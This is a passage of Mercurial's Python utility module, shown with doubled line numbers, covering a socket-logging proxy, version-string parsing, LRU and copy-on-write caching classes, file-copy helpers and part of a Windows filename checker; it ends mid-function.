1063 1063 return
1064 1064
1065 1065 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
1066 1066
1067 1067 def setsockopt(self, res, level, optname, value):
1068 1068 if not self.states:
1069 1069 return
1070 1070
1071 1071 self.fh.write(
1072 1072 b'%s> setsockopt(%r, %r, %r) -> %r\n'
1073 1073 % (self.name, level, optname, value, res)
1074 1074 )
1075 1075
1076 1076
1077 1077 def makeloggingsocket(
1078 1078 logh,
1079 1079 fh,
1080 1080 name,
1081 1081 reads=True,
1082 1082 writes=True,
1083 1083 states=True,
1084 1084 logdata=False,
1085 1085 logdataapis=True,
1086 1086 ):
1087 1087 """Turn a socket into a logging socket."""
1088 1088
1089 1089 observer = socketobserver(
1090 1090 logh,
1091 1091 name,
1092 1092 reads=reads,
1093 1093 writes=writes,
1094 1094 states=states,
1095 1095 logdata=logdata,
1096 1096 logdataapis=logdataapis,
1097 1097 )
1098 1098 return socketproxy(fh, observer)
1099 1099
1100 1100
1101 1101 def version():
1102 1102 """Return version information if available."""
1103 1103 try:
1104 1104 from . import __version__
1105 1105
1106 1106 return __version__.version
1107 1107 except ImportError:
1108 1108 return b'unknown'
1109 1109
1110 1110
1111 1111 def versiontuple(v=None, n=4):
1112 1112 """Parses a Mercurial version string into an N-tuple.
1113 1113
1114 1114 The version string to be parsed is specified with the ``v`` argument.
1115 1115 If it isn't defined, the current Mercurial version string will be parsed.
1116 1116
1117 1117 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1118 1118 returned values:
1119 1119
1120 1120 >>> v = b'3.6.1+190-df9b73d2d444'
1121 1121 >>> versiontuple(v, 2)
1122 1122 (3, 6)
1123 1123 >>> versiontuple(v, 3)
1124 1124 (3, 6, 1)
1125 1125 >>> versiontuple(v, 4)
1126 1126 (3, 6, 1, '190-df9b73d2d444')
1127 1127
1128 1128 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1129 1129 (3, 6, 1, '190-df9b73d2d444+20151118')
1130 1130
1131 1131 >>> v = b'3.6'
1132 1132 >>> versiontuple(v, 2)
1133 1133 (3, 6)
1134 1134 >>> versiontuple(v, 3)
1135 1135 (3, 6, None)
1136 1136 >>> versiontuple(v, 4)
1137 1137 (3, 6, None, None)
1138 1138
1139 1139 >>> v = b'3.9-rc'
1140 1140 >>> versiontuple(v, 2)
1141 1141 (3, 9)
1142 1142 >>> versiontuple(v, 3)
1143 1143 (3, 9, None)
1144 1144 >>> versiontuple(v, 4)
1145 1145 (3, 9, None, 'rc')
1146 1146
1147 1147 >>> v = b'3.9-rc+2-02a8fea4289b'
1148 1148 >>> versiontuple(v, 2)
1149 1149 (3, 9)
1150 1150 >>> versiontuple(v, 3)
1151 1151 (3, 9, None)
1152 1152 >>> versiontuple(v, 4)
1153 1153 (3, 9, None, 'rc+2-02a8fea4289b')
1154 1154
1155 1155 >>> versiontuple(b'4.6rc0')
1156 1156 (4, 6, None, 'rc0')
1157 1157 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1158 1158 (4, 6, None, 'rc0+12-425d55e54f98')
1159 1159 >>> versiontuple(b'.1.2.3')
1160 1160 (None, None, None, '.1.2.3')
1161 1161 >>> versiontuple(b'12.34..5')
1162 1162 (12, 34, None, '..5')
1163 1163 >>> versiontuple(b'1.2.3.4.5.6')
1164 1164 (1, 2, 3, '.4.5.6')
1165 1165 """
1166 1166 if not v:
1167 1167 v = version()
1168 1168 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1169 1169 if not m:
1170 1170 vparts, extra = b'', v
1171 1171 elif m.group(2):
1172 1172 vparts, extra = m.groups()
1173 1173 else:
1174 1174 vparts, extra = m.group(1), None
1175 1175
1176 1176 assert vparts is not None # help pytype
1177 1177
1178 1178 vints = []
1179 1179 for i in vparts.split(b'.'):
1180 1180 try:
1181 1181 vints.append(int(i))
1182 1182 except ValueError:
1183 1183 break
1184 1184 # (3, 6) -> (3, 6, None)
1185 1185 while len(vints) < 3:
1186 1186 vints.append(None)
1187 1187
1188 1188 if n == 2:
1189 1189 return (vints[0], vints[1])
1190 1190 if n == 3:
1191 1191 return (vints[0], vints[1], vints[2])
1192 1192 if n == 4:
1193 1193 return (vints[0], vints[1], vints[2], extra)
1194 1194
1195 1195
1196 1196 def cachefunc(func):
1197 1197 '''cache the result of function calls'''
1198 1198 # XXX doesn't handle keywords args
1199 1199 if func.__code__.co_argcount == 0:
1200 1200 listcache = []
1201 1201
1202 1202 def f():
1203 1203 if len(listcache) == 0:
1204 1204 listcache.append(func())
1205 1205 return listcache[0]
1206 1206
1207 1207 return f
1208 1208 cache = {}
1209 1209 if func.__code__.co_argcount == 1:
1210 1210 # we gain a small amount of time because
1211 1211 # we don't need to pack/unpack the list
1212 1212 def f(arg):
1213 1213 if arg not in cache:
1214 1214 cache[arg] = func(arg)
1215 1215 return cache[arg]
1216 1216
1217 1217 else:
1218 1218
1219 1219 def f(*args):
1220 1220 if args not in cache:
1221 1221 cache[args] = func(*args)
1222 1222 return cache[args]
1223 1223
1224 1224 return f
1225 1225
1226 1226
1227 1227 class cow(object):
1228 1228 """helper class to make copy-on-write easier
1229 1229
1230 1230 Call preparewrite before doing any writes.
1231 1231 """
1232 1232
1233 1233 def preparewrite(self):
1234 1234 """call this before writes, return self or a copied new object"""
1235 1235 if getattr(self, '_copied', 0):
1236 1236 self._copied -= 1
1237 1237 return self.__class__(self)
1238 1238 return self
1239 1239
1240 1240 def copy(self):
1241 1241 """always do a cheap copy"""
1242 1242 self._copied = getattr(self, '_copied', 0) + 1
1243 1243 return self
1244 1244
1245 1245
1246 1246 class sortdict(collections.OrderedDict):
1247 1247 '''a simple sorted dictionary
1248 1248
1249 1249 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1250 1250 >>> d2 = d1.copy()
1251 1251 >>> d2
1252 1252 sortdict([('a', 0), ('b', 1)])
1253 1253 >>> d2.update([(b'a', 2)])
1254 1254 >>> list(d2.keys()) # should still be in last-set order
1255 1255 ['b', 'a']
1256 1256 >>> d1.insert(1, b'a.5', 0.5)
1257 1257 >>> d1
1258 1258 sortdict([('a', 0), ('a.5', 0.5), ('b', 1)])
1259 1259 '''
1260 1260
1261 1261 def __setitem__(self, key, value):
1262 1262 if key in self:
1263 1263 del self[key]
1264 1264 super(sortdict, self).__setitem__(key, value)
1265 1265
1266 1266 if pycompat.ispypy:
1267 1267 # __setitem__() isn't called as of PyPy 5.8.0
1268 1268 def update(self, src):
1269 1269 if isinstance(src, dict):
1270 1270 src = pycompat.iteritems(src)
1271 1271 for k, v in src:
1272 1272 self[k] = v
1273 1273
1274 1274 def insert(self, position, key, value):
1275 1275 for (i, (k, v)) in enumerate(list(self.items())):
1276 1276 if i == position:
1277 1277 self[key] = value
1278 1278 if i >= position:
1279 1279 del self[k]
1280 1280 self[k] = v
1281 1281
1282 1282
1283 1283 class cowdict(cow, dict):
1284 1284 """copy-on-write dict
1285 1285
1286 1286 Be sure to call d = d.preparewrite() before writing to d.
1287 1287
1288 1288 >>> a = cowdict()
1289 1289 >>> a is a.preparewrite()
1290 1290 True
1291 1291 >>> b = a.copy()
1292 1292 >>> b is a
1293 1293 True
1294 1294 >>> c = b.copy()
1295 1295 >>> c is a
1296 1296 True
1297 1297 >>> a = a.preparewrite()
1298 1298 >>> b is a
1299 1299 False
1300 1300 >>> a is a.preparewrite()
1301 1301 True
1302 1302 >>> c = c.preparewrite()
1303 1303 >>> b is c
1304 1304 False
1305 1305 >>> b is b.preparewrite()
1306 1306 True
1307 1307 """
1308 1308
1309 1309
1310 1310 class cowsortdict(cow, sortdict):
1311 1311 """copy-on-write sortdict
1312 1312
1313 1313 Be sure to call d = d.preparewrite() before writing to d.
1314 1314 """
1315 1315
1316 1316
1317 1317 class transactional(object): # pytype: disable=ignored-metaclass
1318 1318 """Base class for making a transactional type into a context manager."""
1319 1319
1320 1320 __metaclass__ = abc.ABCMeta
1321 1321
1322 1322 @abc.abstractmethod
1323 1323 def close(self):
1324 1324 """Successfully closes the transaction."""
1325 1325
1326 1326 @abc.abstractmethod
1327 1327 def release(self):
1328 1328 """Marks the end of the transaction.
1329 1329
1330 1330 If the transaction has not been closed, it will be aborted.
1331 1331 """
1332 1332
1333 1333 def __enter__(self):
1334 1334 return self
1335 1335
1336 1336 def __exit__(self, exc_type, exc_val, exc_tb):
1337 1337 try:
1338 1338 if exc_type is None:
1339 1339 self.close()
1340 1340 finally:
1341 1341 self.release()
1342 1342
1343 1343
1344 1344 @contextlib.contextmanager
1345 1345 def acceptintervention(tr=None):
1346 1346 """A context manager that closes the transaction on InterventionRequired
1347 1347
1348 1348 If no transaction was provided, this simply runs the body and returns
1349 1349 """
1350 1350 if not tr:
1351 1351 yield
1352 1352 return
1353 1353 try:
1354 1354 yield
1355 1355 tr.close()
1356 1356 except error.InterventionRequired:
1357 1357 tr.close()
1358 1358 raise
1359 1359 finally:
1360 1360 tr.release()
1361 1361
1362 1362
1363 1363 @contextlib.contextmanager
1364 1364 def nullcontextmanager():
1365 1365 yield
1366 1366
1367 1367
1368 1368 class _lrucachenode(object):
1369 1369 """A node in a doubly linked list.
1370 1370
1371 1371 Holds a reference to nodes on either side as well as a key-value
1372 1372 pair for the dictionary entry.
1373 1373 """
1374 1374
1375 1375 __slots__ = ('next', 'prev', 'key', 'value', 'cost')
1376 1376
1377 1377 def __init__(self):
1378 1378 self.next = None
1379 1379 self.prev = None
1380 1380
1381 1381 self.key = _notset
1382 1382 self.value = None
1383 1383 self.cost = 0
1384 1384
1385 1385 def markempty(self):
1386 1386 """Mark the node as emptied."""
1387 1387 self.key = _notset
1388 1388 self.value = None
1389 1389 self.cost = 0
1390 1390
1391 1391
1392 1392 class lrucachedict(object):
1393 1393 """Dict that caches most recent accesses and sets.
1394 1394
1395 1395 The dict consists of an actual backing dict - indexed by original
1396 1396 key - and a doubly linked circular list defining the order of entries in
1397 1397 the cache.
1398 1398
1399 1399 The head node is the newest entry in the cache. If the cache is full,
1400 1400 we recycle head.prev and make it the new head. Cache accesses result in
1401 1401 the node being moved to before the existing head and being marked as the
1402 1402 new head node.
1403 1403
1404 1404 Items in the cache can be inserted with an optional "cost" value. This is
1405 1405 simply an integer that is specified by the caller. The cache can be queried
1406 1406 for the total cost of all items presently in the cache.
1407 1407
1408 1408 The cache can also define a maximum cost. If a cache insertion would
1409 1409 cause the total cost of the cache to go beyond the maximum cost limit,
1410 1410 nodes will be evicted to make room for the new code. This can be used
1411 1411 to e.g. set a max memory limit and associate an estimated bytes size
1412 1412 cost to each item in the cache. By default, no maximum cost is enforced.
1413 1413 """
1414 1414
1415 1415 def __init__(self, max, maxcost=0):
1416 1416 self._cache = {}
1417 1417
1418 1418 self._head = head = _lrucachenode()
1419 1419 head.prev = head
1420 1420 head.next = head
1421 1421 self._size = 1
1422 1422 self.capacity = max
1423 1423 self.totalcost = 0
1424 1424 self.maxcost = maxcost
1425 1425
1426 1426 def __len__(self):
1427 1427 return len(self._cache)
1428 1428
1429 1429 def __contains__(self, k):
1430 1430 return k in self._cache
1431 1431
1432 1432 def __iter__(self):
1433 1433 # We don't have to iterate in cache order, but why not.
1434 1434 n = self._head
1435 1435 for i in range(len(self._cache)):
1436 1436 yield n.key
1437 1437 n = n.next
1438 1438
1439 1439 def __getitem__(self, k):
1440 1440 node = self._cache[k]
1441 1441 self._movetohead(node)
1442 1442 return node.value
1443 1443
1444 1444 def insert(self, k, v, cost=0):
1445 1445 """Insert a new item in the cache with optional cost value."""
1446 1446 node = self._cache.get(k)
1447 1447 # Replace existing value and mark as newest.
1448 1448 if node is not None:
1449 1449 self.totalcost -= node.cost
1450 1450 node.value = v
1451 1451 node.cost = cost
1452 1452 self.totalcost += cost
1453 1453 self._movetohead(node)
1454 1454
1455 1455 if self.maxcost:
1456 1456 self._enforcecostlimit()
1457 1457
1458 1458 return
1459 1459
1460 1460 if self._size < self.capacity:
1461 1461 node = self._addcapacity()
1462 1462 else:
1463 1463 # Grab the last/oldest item.
1464 1464 node = self._head.prev
1465 1465
1466 1466 # At capacity. Kill the old entry.
1467 1467 if node.key is not _notset:
1468 1468 self.totalcost -= node.cost
1469 1469 del self._cache[node.key]
1470 1470
1471 1471 node.key = k
1472 1472 node.value = v
1473 1473 node.cost = cost
1474 1474 self.totalcost += cost
1475 1475 self._cache[k] = node
1476 1476 # And mark it as newest entry. No need to adjust order since it
1477 1477 # is already self._head.prev.
1478 1478 self._head = node
1479 1479
1480 1480 if self.maxcost:
1481 1481 self._enforcecostlimit()
1482 1482
1483 1483 def __setitem__(self, k, v):
1484 1484 self.insert(k, v)
1485 1485
1486 1486 def __delitem__(self, k):
1487 1487 self.pop(k)
1488 1488
1489 1489 def pop(self, k, default=_notset):
1490 1490 try:
1491 1491 node = self._cache.pop(k)
1492 1492 except KeyError:
1493 1493 if default is _notset:
1494 1494 raise
1495 1495 return default
1496 1496
1497 1497 assert node is not None # help pytype
1498 1498 value = node.value
1499 1499 self.totalcost -= node.cost
1500 1500 node.markempty()
1501 1501
1502 1502 # Temporarily mark as newest item before re-adjusting head to make
1503 1503 # this node the oldest item.
1504 1504 self._movetohead(node)
1505 1505 self._head = node.next
1506 1506
1507 1507 return value
1508 1508
1509 1509 # Additional dict methods.
1510 1510
1511 1511 def get(self, k, default=None):
1512 1512 try:
1513 1513 return self.__getitem__(k)
1514 1514 except KeyError:
1515 1515 return default
1516 1516
1517 1517 def peek(self, k, default=_notset):
1518 1518 """Get the specified item without moving it to the head
1519 1519
1520 1520 Unlike get(), this doesn't mutate the internal state. But be aware
1521 1521 that it doesn't mean peek() is thread safe.
1522 1522 """
1523 1523 try:
1524 1524 node = self._cache[k]
1525 1525 return node.value
1526 1526 except KeyError:
1527 1527 if default is _notset:
1528 1528 raise
1529 1529 return default
1530 1530
1531 1531 def clear(self):
1532 1532 n = self._head
1533 1533 while n.key is not _notset:
1534 1534 self.totalcost -= n.cost
1535 1535 n.markempty()
1536 1536 n = n.next
1537 1537
1538 1538 self._cache.clear()
1539 1539
1540 1540 def copy(self, capacity=None, maxcost=0):
1541 1541 """Create a new cache as a copy of the current one.
1542 1542
1543 1543 By default, the new cache has the same capacity as the existing one.
1544 1544 But, the cache capacity can be changed as part of performing the
1545 1545 copy.
1546 1546
1547 1547 Items in the copy have an insertion/access order matching this
1548 1548 instance.
1549 1549 """
1550 1550
1551 1551 capacity = capacity or self.capacity
1552 1552 maxcost = maxcost or self.maxcost
1553 1553 result = lrucachedict(capacity, maxcost=maxcost)
1554 1554
1555 1555 # We copy entries by iterating in oldest-to-newest order so the copy
1556 1556 # has the correct ordering.
1557 1557
1558 1558 # Find the first non-empty entry.
1559 1559 n = self._head.prev
1560 1560 while n.key is _notset and n is not self._head:
1561 1561 n = n.prev
1562 1562
1563 1563 # We could potentially skip the first N items when decreasing capacity.
1564 1564 # But let's keep it simple unless it is a performance problem.
1565 1565 for i in range(len(self._cache)):
1566 1566 result.insert(n.key, n.value, cost=n.cost)
1567 1567 n = n.prev
1568 1568
1569 1569 return result
1570 1570
1571 1571 def popoldest(self):
1572 1572 """Remove the oldest item from the cache.
1573 1573
1574 1574 Returns the (key, value) describing the removed cache entry.
1575 1575 """
1576 1576 if not self._cache:
1577 1577 return
1578 1578
1579 1579 # Walk the linked list backwards starting at tail node until we hit
1580 1580 # a non-empty node.
1581 1581 n = self._head.prev
1582 1582 while n.key is _notset:
1583 1583 n = n.prev
1584 1584
1585 1585 assert n is not None # help pytype
1586 1586
1587 1587 key, value = n.key, n.value
1588 1588
1589 1589 # And remove it from the cache and mark it as empty.
1590 1590 del self._cache[n.key]
1591 1591 self.totalcost -= n.cost
1592 1592 n.markempty()
1593 1593
1594 1594 return key, value
1595 1595
1596 1596 def _movetohead(self, node):
1597 1597 """Mark a node as the newest, making it the new head.
1598 1598
1599 1599 When a node is accessed, it becomes the freshest entry in the LRU
1600 1600 list, which is denoted by self._head.
1601 1601
1602 1602 Visually, let's make ``N`` the new head node (* denotes head):
1603 1603
1604 1604 previous/oldest <-> head <-> next/next newest
1605 1605
1606 1606 ----<->--- A* ---<->-----
1607 1607 | |
1608 1608 E <-> D <-> N <-> C <-> B
1609 1609
1610 1610 To:
1611 1611
1612 1612 ----<->--- N* ---<->-----
1613 1613 | |
1614 1614 E <-> D <-> C <-> B <-> A
1615 1615
1616 1616 This requires the following moves:
1617 1617
1618 1618 C.next = D (node.prev.next = node.next)
1619 1619 D.prev = C (node.next.prev = node.prev)
1620 1620 E.next = N (head.prev.next = node)
1621 1621 N.prev = E (node.prev = head.prev)
1622 1622 N.next = A (node.next = head)
1623 1623 A.prev = N (head.prev = node)
1624 1624 """
1625 1625 head = self._head
1626 1626 # C.next = D
1627 1627 node.prev.next = node.next
1628 1628 # D.prev = C
1629 1629 node.next.prev = node.prev
1630 1630 # N.prev = E
1631 1631 node.prev = head.prev
1632 1632 # N.next = A
1633 1633 # It is tempting to do just "head" here, however if node is
1634 1634 # adjacent to head, this will do bad things.
1635 1635 node.next = head.prev.next
1636 1636 # E.next = N
1637 1637 node.next.prev = node
1638 1638 # A.prev = N
1639 1639 node.prev.next = node
1640 1640
1641 1641 self._head = node
1642 1642
1643 1643 def _addcapacity(self):
1644 1644 """Add a node to the circular linked list.
1645 1645
1646 1646 The new node is inserted before the head node.
1647 1647 """
1648 1648 head = self._head
1649 1649 node = _lrucachenode()
1650 1650 head.prev.next = node
1651 1651 node.prev = head.prev
1652 1652 node.next = head
1653 1653 head.prev = node
1654 1654 self._size += 1
1655 1655 return node
1656 1656
1657 1657 def _enforcecostlimit(self):
1658 1658 # This should run after an insertion. It should only be called if total
1659 1659 # cost limits are being enforced.
1660 1660 # The most recently inserted node is never evicted.
1661 1661 if len(self) <= 1 or self.totalcost <= self.maxcost:
1662 1662 return
1663 1663
1664 1664 # This is logically equivalent to calling popoldest() until we
1665 1665 # free up enough cost. We don't do that since popoldest() needs
1666 1666 # to walk the linked list and doing this in a loop would be
1667 1667 # quadratic. So we find the first non-empty node and then
1668 1668 # walk nodes until we free up enough capacity.
1669 1669 #
1670 1670 # If we only removed the minimum number of nodes to free enough
1671 1671 # cost at insert time, chances are high that the next insert would
1672 1672 # also require pruning. This would effectively constitute quadratic
1673 1673 # behavior for insert-heavy workloads. To mitigate this, we set a
1674 1674 # target cost that is a percentage of the max cost. This will tend
1675 1675 # to free more nodes when the high water mark is reached, which
1676 1676 # lowers the chances of needing to prune on the subsequent insert.
1677 1677 targetcost = int(self.maxcost * 0.75)
1678 1678
1679 1679 n = self._head.prev
1680 1680 while n.key is _notset:
1681 1681 n = n.prev
1682 1682
1683 1683 while len(self) > 1 and self.totalcost > targetcost:
1684 1684 del self._cache[n.key]
1685 1685 self.totalcost -= n.cost
1686 1686 n.markempty()
1687 1687 n = n.prev
1688 1688
1689 1689
1690 1690 def lrucachefunc(func):
1691 1691 '''cache most recent results of function calls'''
1692 1692 cache = {}
1693 1693 order = collections.deque()
1694 1694 if func.__code__.co_argcount == 1:
1695 1695
1696 1696 def f(arg):
1697 1697 if arg not in cache:
1698 1698 if len(cache) > 20:
1699 1699 del cache[order.popleft()]
1700 1700 cache[arg] = func(arg)
1701 1701 else:
1702 1702 order.remove(arg)
1703 1703 order.append(arg)
1704 1704 return cache[arg]
1705 1705
1706 1706 else:
1707 1707
1708 1708 def f(*args):
1709 1709 if args not in cache:
1710 1710 if len(cache) > 20:
1711 1711 del cache[order.popleft()]
1712 1712 cache[args] = func(*args)
1713 1713 else:
1714 1714 order.remove(args)
1715 1715 order.append(args)
1716 1716 return cache[args]
1717 1717
1718 1718 return f
1719 1719
1720 1720
1721 1721 class propertycache(object):
1722 1722 def __init__(self, func):
1723 1723 self.func = func
1724 1724 self.name = func.__name__
1725 1725
1726 1726 def __get__(self, obj, type=None):
1727 1727 result = self.func(obj)
1728 1728 self.cachevalue(obj, result)
1729 1729 return result
1730 1730
1731 1731 def cachevalue(self, obj, value):
1732 1732 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1733 1733 obj.__dict__[self.name] = value
1734 1734
1735 1735
1736 1736 def clearcachedproperty(obj, prop):
1737 1737 '''clear a cached property value, if one has been set'''
1738 1738 prop = pycompat.sysstr(prop)
1739 1739 if prop in obj.__dict__:
1740 1740 del obj.__dict__[prop]
1741 1741
1742 1742
1743 1743 def increasingchunks(source, min=1024, max=65536):
1744 1744 '''return no less than min bytes per chunk while data remains,
1745 1745 doubling min after each chunk until it reaches max'''
1746 1746
1747 1747 def log2(x):
1748 1748 if not x:
1749 1749 return 0
1750 1750 i = 0
1751 1751 while x:
1752 1752 x >>= 1
1753 1753 i += 1
1754 1754 return i - 1
1755 1755
1756 1756 buf = []
1757 1757 blen = 0
1758 1758 for chunk in source:
1759 1759 buf.append(chunk)
1760 1760 blen += len(chunk)
1761 1761 if blen >= min:
1762 1762 if min < max:
1763 1763 min = min << 1
1764 1764 nmin = 1 << log2(blen)
1765 1765 if nmin > min:
1766 1766 min = nmin
1767 1767 if min > max:
1768 1768 min = max
1769 1769 yield b''.join(buf)
1770 1770 blen = 0
1771 1771 buf = []
1772 1772 if buf:
1773 1773 yield b''.join(buf)
1774 1774
1775 1775
1776 1776 def always(fn):
1777 1777 return True
1778 1778
1779 1779
1780 1780 def never(fn):
1781 1781 return False
1782 1782
1783 1783
1784 1784 def nogc(func):
1785 1785 """disable garbage collector
1786 1786
1787 1787 Python's garbage collector triggers a GC each time a certain number of
1788 1788 container objects (the number being defined by gc.get_threshold()) are
1789 1789 allocated even when marked not to be tracked by the collector. Tracking has
1790 1790 no effect on when GCs are triggered, only on what objects the GC looks
1791 1791 into. As a workaround, disable GC while building complex (huge)
1792 1792 containers.
1793 1793
1794 1794 This garbage collector issue have been fixed in 2.7. But it still affect
1795 1795 CPython's performance.
1796 1796 """
1797 1797
1798 1798 def wrapper(*args, **kwargs):
1799 1799 gcenabled = gc.isenabled()
1800 1800 gc.disable()
1801 1801 try:
1802 1802 return func(*args, **kwargs)
1803 1803 finally:
1804 1804 if gcenabled:
1805 1805 gc.enable()
1806 1806
1807 1807 return wrapper
1808 1808
1809 1809
1810 1810 if pycompat.ispypy:
1811 1811 # PyPy runs slower with gc disabled
1812 1812 nogc = lambda x: x
1813 1813
1814 1814
1815 1815 def pathto(root, n1, n2):
1816 1816 '''return the relative path from one place to another.
1817 1817 root should use os.sep to separate directories
1818 1818 n1 should use os.sep to separate directories
1819 1819 n2 should use "/" to separate directories
1820 1820 returns an os.sep-separated path.
1821 1821
1822 1822 If n1 is a relative path, it's assumed it's
1823 1823 relative to root.
1824 1824 n2 should always be relative to root.
1825 1825 '''
1826 1826 if not n1:
1827 1827 return localpath(n2)
1828 1828 if os.path.isabs(n1):
1829 1829 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1830 1830 return os.path.join(root, localpath(n2))
1831 1831 n2 = b'/'.join((pconvert(root), n2))
1832 1832 a, b = splitpath(n1), n2.split(b'/')
1833 1833 a.reverse()
1834 1834 b.reverse()
1835 1835 while a and b and a[-1] == b[-1]:
1836 1836 a.pop()
1837 1837 b.pop()
1838 1838 b.reverse()
1839 1839 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
1840 1840
1841 1841
1842 1842 def checksignature(func):
1843 1843 '''wrap a function with code to check for calling errors'''
1844 1844
1845 1845 def check(*args, **kwargs):
1846 1846 try:
1847 1847 return func(*args, **kwargs)
1848 1848 except TypeError:
1849 1849 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1850 1850 raise error.SignatureError
1851 1851 raise
1852 1852
1853 1853 return check
1854 1854
1855 1855
1856 1856 # a whilelist of known filesystems where hardlink works reliably
1857 1857 _hardlinkfswhitelist = {
1858 1858 b'apfs',
1859 1859 b'btrfs',
1860 1860 b'ext2',
1861 1861 b'ext3',
1862 1862 b'ext4',
1863 1863 b'hfs',
1864 1864 b'jfs',
1865 1865 b'NTFS',
1866 1866 b'reiserfs',
1867 1867 b'tmpfs',
1868 1868 b'ufs',
1869 1869 b'xfs',
1870 1870 b'zfs',
1871 1871 }
1872 1872
1873 1873
1874 1874 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1875 1875 '''copy a file, preserving mode and optionally other stat info like
1876 1876 atime/mtime
1877 1877
1878 1878 checkambig argument is used with filestat, and is useful only if
1879 1879 destination file is guarded by any lock (e.g. repo.lock or
1880 1880 repo.wlock).
1881 1881
1882 1882 copystat and checkambig should be exclusive.
1883 1883 '''
1884 1884 assert not (copystat and checkambig)
1885 1885 oldstat = None
1886 1886 if os.path.lexists(dest):
1887 1887 if checkambig:
1888 1888 oldstat = checkambig and filestat.frompath(dest)
1889 1889 unlink(dest)
1890 1890 if hardlink:
1891 1891 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1892 1892 # unless we are confident that dest is on a whitelisted filesystem.
1893 1893 try:
1894 1894 fstype = getfstype(os.path.dirname(dest))
1895 1895 except OSError:
1896 1896 fstype = None
1897 1897 if fstype not in _hardlinkfswhitelist:
1898 1898 hardlink = False
1899 1899 if hardlink:
1900 1900 try:
1901 1901 oslink(src, dest)
1902 1902 return
1903 1903 except (IOError, OSError):
1904 1904 pass # fall back to normal copy
1905 1905 if os.path.islink(src):
1906 1906 os.symlink(os.readlink(src), dest)
1907 1907 # copytime is ignored for symlinks, but in general copytime isn't needed
1908 1908 # for them anyway
1909 1909 else:
1910 1910 try:
1911 1911 shutil.copyfile(src, dest)
1912 1912 if copystat:
1913 1913 # copystat also copies mode
1914 1914 shutil.copystat(src, dest)
1915 1915 else:
1916 1916 shutil.copymode(src, dest)
1917 1917 if oldstat and oldstat.stat:
1918 1918 newstat = filestat.frompath(dest)
1919 1919 if newstat.isambig(oldstat):
1920 1920 # stat of copied file is ambiguous to original one
1921 1921 advanced = (
1922 1922 oldstat.stat[stat.ST_MTIME] + 1
1923 1923 ) & 0x7FFFFFFF
1924 1924 os.utime(dest, (advanced, advanced))
1925 1925 except shutil.Error as inst:
1926 1926 raise error.Abort(stringutil.forcebytestr(inst))
1927 1927
1928 1928
1929 1929 def copyfiles(src, dst, hardlink=None, progress=None):
1930 1930 """Copy a directory tree using hardlinks if possible."""
1931 1931 num = 0
1932 1932
1933 1933 def settopic():
1934 1934 if progress:
1935 1935 progress.topic = _(b'linking') if hardlink else _(b'copying')
1936 1936
1937 1937 if os.path.isdir(src):
1938 1938 if hardlink is None:
1939 1939 hardlink = (
1940 1940 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
1941 1941 )
1942 1942 settopic()
1943 1943 os.mkdir(dst)
1944 1944 for name, kind in listdir(src):
1945 1945 srcname = os.path.join(src, name)
1946 1946 dstname = os.path.join(dst, name)
1947 1947 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1948 1948 num += n
1949 1949 else:
1950 1950 if hardlink is None:
1951 1951 hardlink = (
1952 1952 os.stat(os.path.dirname(src)).st_dev
1953 1953 == os.stat(os.path.dirname(dst)).st_dev
1954 1954 )
1955 1955 settopic()
1956 1956
1957 1957 if hardlink:
1958 1958 try:
1959 1959 oslink(src, dst)
1960 1960 except (IOError, OSError):
1961 1961 hardlink = False
1962 1962 shutil.copy(src, dst)
1963 1963 else:
1964 1964 shutil.copy(src, dst)
1965 1965 num += 1
1966 1966 if progress:
1967 1967 progress.increment()
1968 1968
1969 1969 return hardlink, num
1970 1970
1971 1971
1972 1972 _winreservednames = {
1973 1973 b'con',
1974 1974 b'prn',
1975 1975 b'aux',
1976 1976 b'nul',
1977 1977 b'com1',
1978 1978 b'com2',
1979 1979 b'com3',
1980 1980 b'com4',
1981 1981 b'com5',
1982 1982 b'com6',
1983 1983 b'com7',
1984 1984 b'com8',
1985 1985 b'com9',
1986 1986 b'lpt1',
1987 1987 b'lpt2',
1988 1988 b'lpt3',
1989 1989 b'lpt4',
1990 1990 b'lpt5',
1991 1991 b'lpt6',
1992 1992 b'lpt7',
1993 1993 b'lpt8',
1994 1994 b'lpt9',
1995 1995 }
1996 1996 _winreservedchars = b':*?"<>|'
1997 1997
1998 1998
1999 1999 def checkwinfilename(path):
2000 2000 r'''Check that the base-relative path is a valid filename on Windows.
2001 2001 Returns None if the path is ok, or a UI string describing the problem.
2002 2002
2003 2003 >>> checkwinfilename(b"just/a/normal/path")
2004 2004 >>> checkwinfilename(b"foo/bar/con.xml")
2005 2005 "filename contains 'con', which is reserved on Windows"
2006 2006 >>> checkwinfilename(b"foo/con.xml/bar")
2007 2007 "filename contains 'con', which is reserved on Windows"
2008 2008 >>> checkwinfilename(b"foo/bar/xml.con")
2009 2009 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
2010 2010 "filename contains 'AUX', which is reserved on Windows"
2011 2011 >>> checkwinfilename(b"foo/bar/bla:.txt")
2012 2012 "filename contains ':', which is reserved on Windows"
2013 2013 >>> checkwinfilename(b"foo/bar/b\07la.txt")
2014 2014 "filename contains '\\x07', which is invalid on Windows"
2015 2015 >>> checkwinfilename(b"foo/bar/bla ")
2016 2016 "filename ends with ' ', which is not allowed on Windows"
2017 2017 >>> checkwinfilename(b"../bar")
2018 2018 >>> checkwinfilename(b"foo\\")
2019 2019 "filename ends with '\\', which is invalid on Windows"
2020 2020 >>> checkwinfilename(b"foo\\/bar")
2021 2021 "directory name ends with '\\', which is invalid on Windows"
2022 2022 '''
2023 2023 if path.endswith(b'\\'):
2024 2024 return _(b"filename ends with '\\', which is invalid on Windows")
2025 2025 if b'\\/' in path:
2026 2026 return _(b"directory name ends with '\\', which is invalid on Windows")
2027 2027 for n in path.replace(b'\\', b'/').split(b'/'):
2028 2028 if not n:
2029 2029 continue
2030 2030 for c in _filenamebytestr(n):
2031 2031 if c in _winreservedchars:
2032 2032 return (
2033 2033 _(
